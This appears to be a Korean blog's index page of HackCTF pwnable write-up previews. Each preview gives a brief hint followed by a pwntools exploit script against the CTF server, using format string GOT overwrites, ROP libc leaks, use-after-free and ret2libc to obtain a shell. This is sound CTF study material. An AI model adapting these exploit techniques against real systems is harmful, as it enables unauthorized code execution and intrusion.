본문 바로가기

분류 전체보기

(109)
HackCTF - You are silver fsb랑 bof를 연계하면 된다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3022) e = ELF('./you_are_silver') context.arch = 'amd64' payload = fmtstr_payload(6, {e.got['printf']:e.sym['play_game']}) payload += 'X'*(46-len(payload)) r.sendline(payload) r.interactive()
HackCTF - ROP 그냥 rop를 진행하면 된다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3021) e = ELF('./rop') libc = ELF('./libc.so.6') #context.log_level = 'debug' pppr = 0x08048509 payload = 'A'*140 payload += p32(e.plt['write']) payload += p32(pppr) payload += p32(0) payload += p32(e.got['read']) payload += p32(4) payload += p32(e.sym['main']) r.sendline(payload) leak = u32(r.recv(4)) log.info('leak : {}'.format(h..
HackCTF - UAF 저기 부분을 print_note_content가 있다 이후 free를 시켜주는데 이를 이용하면 문제를 풀 수 있다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3020) e = ELF('./uaf') def add_note(size, data): r.sendlineafter(':', '1') r.sendlineafter(':', str(size)) r.sendlineafter(':', data) def del_note(idx): r.sendlineafter(':', '2') r.sendlineafter(':', str(idx)) def print_note(idx): r.sendlineafter(':', '3') r.sendlineafter(':', str(idx..
HackCTF - Pwning 정수 오버플로우를 이용한 문제 -1를 주고 rop를 진행하면 된다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3019) e = ELF('./pwning', checksec=False) # context.log_level = 'debug' r.sendlineafter('? ','-1') r.recvuntil('!\n') payload = 'A'*48 payload += p32(e.plt['printf']) payload += p32(0x080484e1) payload += p32(e.got['atoi']) payload += p32(e.sym['main']) r.sendline(payload) r.recvuntil('\n') leak = u32(r.recv(4)..
HackCTF - Gift binsh 랑 system함수를 알려주지만 binsh는 bss 주소이므로 system 함수를 이용해 libc_base를 구해서 rop를 하면된다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3018) r.recvuntil(': ') binsh = int(r.recv(10), 16) print(hex(binsh)) system = int(r.recv(10), 16) print(hex(system)) libc_base = system - 0x03a940 binsh = libc_base + 0x15902b payload = 'A'*136 payload += p32(system) payload += 'AAAA' payload += p32(binsh) r.sendline..
HackCTF - Look at me 전에 라젠카에서 봤었던 내용이었다 https://www.lazenca.net/display/TEC/03.ROP%28Return+Oriented+Programming%29+-+mmap%2C+mprotect#id-03.ROP(ReturnOrientedProgramming)mmap,mprotect-ROPcode 03.ROP(Return Oriented Programming) - mmap, mprotect - TechNote - Lazenca.0x0 Excuse the ads! We need some help to keep our site up. List ROP(Return Oriented Programming) - mmap, mprotect ROP를 이용하여 메모리 영역을 할당(mmap)하거나 할당된 메모리 ..
HackCTF - Beginner_Heap 힙은 많이 안 풀어봐서 좀 힘들었다 빨강 v3 노랑 v3+1 초록 v4 주황 v4+1 16번에서 복사할 때 *(v4+1) 전까지 더미로 채우고 *(v4+1) 에 exit got를 써서 18번 줄에서 flag를 불러오는 함수를 쓴다면..? exit 에 got 가 overwrite되어 flag가 등장 할 것이다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3016) e = ELF('./beginner_heap') payload = 'A'*40 payload += p64(e.got['exit']) r.sendline(payload) r.sendline(p64(0x000000000400826)) r.interactive()
HackCTF - RTL_Core 조금의 수학을 하고 RTL을 진행하면 풀린다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3015) libc = ELF('./libc.so.6', checksec=False) payload = p32(0x2691F021)*4 payload += p32(0x2691F023) r.sendline(payload) r.recvuntil('0x') leak = int(('0x'+ r.recv(8)), 16) libc_base = leak - libc.sym['printf'] print(hex(libc_base)) system = libc_base + libc.sym['system'] binsh = libc_base + libc.search('/bin/sh\x00').ne..